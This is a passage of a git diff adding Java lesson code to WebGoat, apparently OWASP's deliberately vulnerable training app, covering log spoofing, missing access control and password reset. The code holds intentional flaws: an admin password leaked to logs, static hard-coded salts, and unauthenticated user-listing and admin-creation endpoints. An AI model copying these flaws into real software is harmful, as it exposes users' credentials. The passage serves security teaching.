password = UUID.randomUUID().toString(); + log.info( + "Password for admin: {}", + Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); + } + + @PostMapping("/LogSpoofing/log-bleeding") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username) || Strings.isEmpty(password)) { + return failed(this).output("Please provide username (Admin) and password").build(); + } + + if (username.equals("Admin") && password.equals(this.password)) { + return success(this).build(); + } + + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java new file mode 100644 index 000000000..b92d05572 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.logging; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class LogSpoofing extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A9; + } + + @Override + public String getTitle() { + return "logging.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java new file mode 100644 index 000000000..0fe3b3559 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java @@ -0,0 +1,51 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogSpoofingTask extends AssignmentEndpoint { + + @PostMapping("/LogSpoofing/log-spoofing") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username)) { + return failed(this).output(username).build(); + } + username = username.replace("\n", "
"); + if (username.contains("

") || username.contains("

")) { + return failed(this).output("Try to think of something simple ").build(); + } + if (username.indexOf("
") < username.indexOf("admin")) { + return success(this).output(username).build(); + } + return failed(this).output(username).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java new file mode 100644 index 000000000..90eb06c8d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.util.Base64; +import lombok.Getter; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ */ +@Getter +public class DisplayUser { + // intended to provide a display version of WebGoatUser for admins to view user attributes + + private String username; + private boolean admin; + private String userHash; + + public DisplayUser(User user, String passwordSalt) { + this.username = user.getUsername(); + this.admin = user.isAdmin(); + + try { + this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt); + } catch (Exception ex) { + this.userHash = "Error generating user hash"; + } + } + + protected String genUserHash(String username, String password, String passwordSalt) + throws Exception { + MessageDigest md = MessageDigest.getInstance("SHA-256"); + // salting is good, but static & too predictable ... short too for a salt + String salted = password + passwordSalt + username; + // md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed + byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8)); + return Base64.getEncoder().encodeToString(hash); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java new file mode 100644 index 000000000..584542928 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.util.List; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; +import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +@Component +public class MissingAccessControlUserRepository { + + private final NamedParameterJdbcTemplate jdbcTemplate; + private final RowMapper mapper = + (rs, rowNum) -> + new User(rs.getString("username"), rs.getString("password"), rs.getBoolean("admin")); + + public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) { + this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource); + } + + public List findAllUsers() { + return jdbcTemplate.query("select username, password, admin from access_control_users", mapper); + } + + public User findByUsername(String username) { + var users = + jdbcTemplate.query( + "select username, password, admin from access_control_users where username=:username", + new MapSqlParameterSource().addValue("username", username), + mapper); + if (CollectionUtils.isEmpty(users)) { + return null; + } + return users.get(0); + } + + public User save(User user) { + jdbcTemplate.update( + "INSERT INTO access_control_users(username, password, admin)" + + " VALUES(:username,:password,:admin)", + new MapSqlParameterSource() + .addValue("username", user.getUsername()) + .addValue("password", user.getPassword()) + .addValue("admin", user.isAdmin())); + return user; + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java similarity index 64% rename from webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java rename to src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java index 42d9bc95d..46323aca2 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java @@ -20,31 +20,25 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.user; +package org.owasp.webgoat.lessons.missingac; -import lombok.Getter; -import lombok.Setter; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; -import javax.validation.constraints.NotNull; -import javax.validation.constraints.Size; +@Component +public class MissingFunctionAC extends Lesson { -/** - * @author nbaars - * @since 3/19/17. - */ -@Getter -@Setter -public class UserForm { + public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234"; + public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235"; - @NotNull - @Size(min=6, max=40) - private String username; - @NotNull - @Size(min=6, max=10) - private String password; - @NotNull - @Size(min=6, max=10) - private String matchingPassword; - @NotNull - private String agree; + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "missing-function-access-control.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java new file mode 100644 index 000000000..8cf11a6fb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java @@ -0,0 +1,56 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "access-control.hidden-menus.hint1", + "access-control.hidden-menus.hint2", + "access-control.hidden-menus.hint3" +}) +public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { + + @PostMapping( + path = "/access-control/hidden-menu", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { + if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { + return success(this).output("").feedback("access-control.hidden-menus.success").build(); + } + + if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) { + return failed(this).output("").feedback("access-control.hidden-menus.close").build(); + } + + return failed(this).feedback("access-control.hidden-menus.failure").output("").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java new file mode 100644 index 000000000..0bbf9d68d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.servlet.ModelAndView; + +/** Created by jason on 1/5/17. */ +@Controller +@AllArgsConstructor +@Slf4j +public class MissingFunctionACUsers { + + private final MissingAccessControlUserRepository userRepository; + private final WebSession webSession; + + @GetMapping(path = {"access-control/users"}) + public ModelAndView listUsers() { + + ModelAndView model = new ModelAndView(); + model.setViewName("list_users"); + List allUsers = userRepository.findAllUsers(); + model.addObject("numUsers", allUsers.size()); + // add display user objects in place of direct users + List displayUsers = new ArrayList<>(); + for (User user : allUsers) { + displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE)); + } + model.addObject("allUsers", displayUsers); + + return model; + } + + @GetMapping( + path = {"access-control/users"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersService() { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE)) + .collect(Collectors.toList())); + } + + @GetMapping( + path = {"access-control/users-admin-fix"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersFixed() { + var currentUser = userRepository.findByUsername(webSession.getUserName()); + if (currentUser != null && currentUser.isAdmin()) { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)) + .collect(Collectors.toList())); + } + return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); + } + + @PostMapping( + path = {"access-control/users", "access-control/users-admin-fix"}, + consumes = "application/json", + produces = "application/json") + @ResponseBody + public User addUser(@RequestBody User newUser) { + try { + userRepository.save(newUser); + return newUser; + } catch (Exception ex) { + log.error("Error creating new User", ex); + return null; + } + + // @RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = + // "application/json", produces = "application/json") + // TODO implement delete method with id param and authorization + + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java new file mode 100644 index 000000000..8417ae059 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java @@ -0,0 +1,61 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint1", + "access-control.hash.hint2", + "access-control.hash.hint3", + "access-control.hash.hint4", + "access-control.hash.hint5" +}) +@RequiredArgsConstructor +public class MissingFunctionACYourHash extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + @PostMapping( + path = "/access-control/user-hash", + produces = {"application/json"}) + @ResponseBody + public AttackResult simple(String userHash) { + User user = userRepository.findByUsername("Jerry"); + DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java new file mode 100644 index 000000000..52f9dbcb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java @@ -0,0 +1,68 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint6", + "access-control.hash.hint7", + "access-control.hash.hint8", + "access-control.hash.hint9", + "access-control.hash.hint10", + "access-control.hash.hint11", + "access-control.hash.hint12" +}) +public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) { + this.userRepository = userRepository; + } + + @PostMapping( + path = "/access-control/user-hash-fix", + produces = {"application/json"}) + @ResponseBody + public AttackResult admin(String userHash) { + // current user should be in the DB + // if not admin then return 403 + + var user = userRepository.findByUsername("Jerry"); + var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).feedback("access-control.hash.close").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/User.java b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java new file mode 100644 index 000000000..d7e23c887 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.missingac; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class User { + + private String username; + private String password; + private boolean admin; +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordReset.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java similarity index 78% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordReset.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java index 758e4630e..79cc05120 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordReset.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.password_reset; +package org.owasp.webgoat.lessons.passwordreset; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class PasswordReset extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.AUTHENTICATION; - } + @Override + public Category getDefaultCategory() { + return Category.A7; + } - @Override - public String getTitle() { - return "password-reset.title"; - } + @Override + public String getTitle() { + return "password-reset.title"; + } } diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java similarity index 86% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java index 45271fe34..ef1f723a5 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java @@ -20,21 +20,20 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.password_reset; - -import lombok.Builder; -import lombok.Data; +package org.owasp.webgoat.lessons.passwordreset; import java.io.Serializable; import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; @Builder @Data public class PasswordResetEmail implements Serializable { - private LocalDateTime time; - private String contents; - private String sender; - private String title; - private String recipient; -} \ No newline at end of file + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java similarity index 54% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java index 72cd82cc5..8568b97ec 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java @@ -20,19 +20,18 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.password_reset; +package org.owasp.webgoat.lessons.passwordreset; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import java.util.HashMap; -import java.util.Map; - /** * @author nbaars * @since 8/20/17. @@ -40,32 +39,37 @@ import java.util.Map; @RestController public class QuestionsAssignment extends AssignmentEndpoint { - private static final Map COLORS = new HashMap<>(); + private static final Map COLORS = new HashMap<>(); - static { - COLORS.put("admin", "green"); - COLORS.put("jerry", "orange"); - COLORS.put("tom", "purple"); - COLORS.put("larry", "yellow"); - COLORS.put("webgoat", "red"); + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping( + path = "/PasswordReset/questions", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return failed(this).feedback("password-questions-wrong-user").build(); } - @PostMapping(path = "/PasswordReset/questions", consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) - @ResponseBody - public AttackResult passwordReset(@RequestParam Map json) { - String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); - String username = (String) json.getOrDefault("username", ""); - - if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { - return failed(this).feedback("password-questions-wrong-user").build(); - } - - String validAnswer = COLORS.get(username.toLowerCase()); - if (validAnswer == null) { - return failed(this).feedback("password-questions-unknown-user").feedbackArgs(username).build(); - } else if (validAnswer.equals(securityQuestion)) { - return success(this).build(); - } - return failed(this).build(); + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return failed(this) + .feedback("password-questions-unknown-user") + .feedbackArgs(username) + .build(); + } else if (validAnswer.equals(securityQuestion)) { + return success(this).build(); } + return failed(this).build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java new file mode 100644 index 000000000..ace84be78 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import com.google.common.collect.Maps; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.passwordreset.resetlink.PasswordChangeForm; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +@AssignmentHints({ + "password-reset-hint1", + "password-reset-hint2", + "password-reset-hint3", + "password-reset-hint4", + "password-reset-hint5", + "password-reset-hint6" +}) +public class ResetLinkAssignment extends AssignmentEndpoint { + + static final String PASSWORD_TOM_9 = + "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + static final String TOM_EMAIL = "tom@webgoat-cloud.org"; + static Map userToTomResetLink = new HashMap<>(); + static Map usersToTomPassword = Maps.newHashMap(); + static List resetLinks = new ArrayList<>(); + + static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @PostMapping("/PasswordReset/reset/login") + @ResponseBody + public AttackResult login(@RequestParam String password, @RequestParam String email) { + if (TOM_EMAIL.equals(email)) { + String passwordTom = + usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); + if (passwordTom.equals(PASSWORD_TOM_9)) { + return failed(this).feedback("login_failed").build(); + } else if (passwordTom.equals(password)) { + return success(this).build(); + } + } + return failed(this).feedback("login_failed.tom").build(); + } + + @GetMapping("/PasswordReset/reset/reset-password/{link}") + public ModelAndView resetPassword(@PathVariable(value = "link") String link, Model model) { + ModelAndView modelAndView = new ModelAndView(); + if (ResetLinkAssignment.resetLinks.contains(link)) { + PasswordChangeForm form = new PasswordChangeForm(); + form.setResetLink(link); + model.addAttribute("form", form); + modelAndView.addObject("form", form); + modelAndView.setViewName("password_reset"); // Display html page for changing password + } else { + modelAndView.setViewName("password_link_not_found"); + } + return modelAndView; + } + + @GetMapping("/PasswordReset/reset/change-password") + public ModelAndView illegalCall() { + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + + @PostMapping("/PasswordReset/reset/change-password") + public ModelAndView changePassword( + @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { + ModelAndView modelAndView = new ModelAndView(); + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { + bindingResult.rejectValue("password", "not.empty"); + } + if (bindingResult.hasErrors()) { + modelAndView.setViewName("password_reset"); + return 